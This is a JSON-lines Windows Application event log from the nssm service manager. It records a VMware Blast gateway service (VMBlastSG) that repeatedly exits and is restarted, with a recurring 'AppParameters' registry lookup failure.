{"@timestamp":1646718735857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159664}}
{"@timestamp":1646718735858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159665}}
{"@timestamp":1646718864357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159666}}
{"@timestamp":1646718864359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159667}}
{"@timestamp":1646718864360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156640","0"]}}},"module":"Application","provider":"nssm","sequence":159668}}
{"@timestamp":1646718864361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156640","156640","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159669}}
{"@timestamp":1646718864377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159670}}
{"@timestamp":1646718864378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159671}}
{"@timestamp":1646718864378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159672}}
{"@timestamp":1646718864379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159673}}
{"@timestamp":1646718992904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159674}}
{"@timestamp":1646718992907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159675}}
{"@timestamp":1646718992907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157100","0"]}}},"module":"Application","provider":"nssm","sequence":159676}}
{"@timestamp":1646718992908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157100","157100","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159677}}
{"@timestamp":1646718992924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159678}}
{"@timestamp":1646718992924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159679}}
{"@timestamp":1646718992925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159680}}
{"@timestamp":1646718992926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159681}}
{"@timestamp":1646719121425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159682}}
{"@timestamp":1646719121426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159683}}
{"@timestamp":1646719121427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156708","0"]}}},"module":"Application","provider":"nssm","sequence":159684}}
{"@timestamp":1646719121427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156708","156708","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159685}}
{"@timestamp":1646719121443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159686}}
{"@timestamp":1646719121444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159687}}
{"@timestamp":1646719121444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159688}}
{"@timestamp":1646719121445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159689}}
{"@timestamp":1646719249951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159690}}
{"@timestamp":1646719249953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159691}}
{"@timestamp":1646719249954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157156","0"]}}},"module":"Application","provider":"nssm","sequence":159692}}
{"@timestamp":1646719249954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157156","157156","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159693}}
{"@timestamp":1646719249971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159694}}
{"@timestamp":1646719249971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159695}}
{"@timestamp":1646719249972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159696}}
{"@timestamp":1646719249973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159697}}
{"@timestamp":1646719378461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159698}}
{"@timestamp":1646719378463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159699}}
{"@timestamp":1646719378464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156692","0"]}}},"module":"Application","provider":"nssm","sequence":159700}}
{"@timestamp":1646719378465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156692","156692","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159701}}
{"@timestamp":1646719378481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159702}}
{"@timestamp":1646719378482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159703}}
{"@timestamp":1646719378482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159704}}
{"@timestamp":1646719378483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159705}}
{"@timestamp":1646719507110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159706}}
{"@timestamp":1646719507111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159707}}
{"@timestamp":1646719507112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157260","0"]}}},"module":"Application","provider":"nssm","sequence":159708}}
{"@timestamp":1646719507112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157260","157260","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159709}}
{"@timestamp":1646719507128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159710}}
{"@timestamp":1646719507129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159711}}
{"@timestamp":1646719507129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159712}}
{"@timestamp":1646719507130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159713}}
{"@timestamp":1646719635702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159714}}
{"@timestamp":1646719635703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159715}}
{"@timestamp":1646719635704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154252","0"]}}},"module":"Application","provider":"nssm","sequence":159716}}
{"@timestamp":1646719635705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154252","154252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159717}}
{"@timestamp":1646719635721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159718}}
{"@timestamp":1646719635722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159719}}
{"@timestamp":1646719635722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159720}}
{"@timestamp":1646719635723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159721}}
{"@timestamp":1646719764230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159722}}
{"@timestamp":1646719764232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159723}}
{"@timestamp":1646719764233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157332","0"]}}},"module":"Application","provider":"nssm","sequence":159724}}
{"@timestamp":1646719764234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157332","157332","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159725}}
{"@timestamp":1646719764252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159726}}
{"@timestamp":1646719764252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159727}}
{"@timestamp":1646719764253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159728}}
{"@timestamp":1646719764254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159729}}
{"@timestamp":1646719892732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159730}}
{"@timestamp":1646719892733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159731}}
{"@timestamp":1646719892733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157544","0"]}}},"module":"Application","provider":"nssm","sequence":159732}}
{"@timestamp":1646719892734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157544","157544","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159733}}
{"@timestamp":1646719892749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159734}}
{"@timestamp":1646719892750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159735}}
{"@timestamp":1646719892750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159736}}
{"@timestamp":1646719892751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159737}}
{"@timestamp":1646720021346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159738}}
{"@timestamp":1646720021347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159739}}
{"@timestamp":1646720021348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157120","0"]}}},"module":"Application","provider":"nssm","sequence":159740}}
{"@timestamp":1646720021349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157120","157120","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159741}}
{"@timestamp":1646720021366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159742}}
{"@timestamp":1646720021366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159743}}
{"@timestamp":1646720021367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159744}}
{"@timestamp":1646720021368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159745}}
{"@timestamp":1646720150338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159746}}
{"@timestamp":1646720150338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159747}}
{"@timestamp":1646720150339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156916","0"]}}},"module":"Application","provider":"nssm","sequence":159748}}
{"@timestamp":1646720150339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156916","156916","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159749}}
{"@timestamp":1646720150354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157532","0"]}}},"module":"Application","provider":"nssm","sequence":159750}}
{"@timestamp":1646720150354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157532","156916","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159751}}
{"@timestamp":1646720150370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159752}}
{"@timestamp":1646720150371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159753}}
{"@timestamp":1646720150371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159754}}
{"@timestamp":1646720150372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159755}}
{"@timestamp":1646720279075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159756}}
{"@timestamp":1646720279076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159757}}
{"@timestamp":1646720279077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157236","0"]}}},"module":"Application","provider":"nssm","sequence":159758}}
{"@timestamp":1646720279078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157236","157236","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159759}}
{"@timestamp":1646720279096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159760}}
{"@timestamp":1646720279097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159761}}
{"@timestamp":1646720279097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159762}}
{"@timestamp":1646720279098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159763}}
{"@timestamp":1646720407604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159764}}
{"@timestamp":1646720407604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159765}}
{"@timestamp":1646720407605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156548","0"]}}},"module":"Application","provider":"nssm","sequence":159766}}
{"@timestamp":1646720407605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156548","156548","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159767}}
{"@timestamp":1646720407622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159768}}
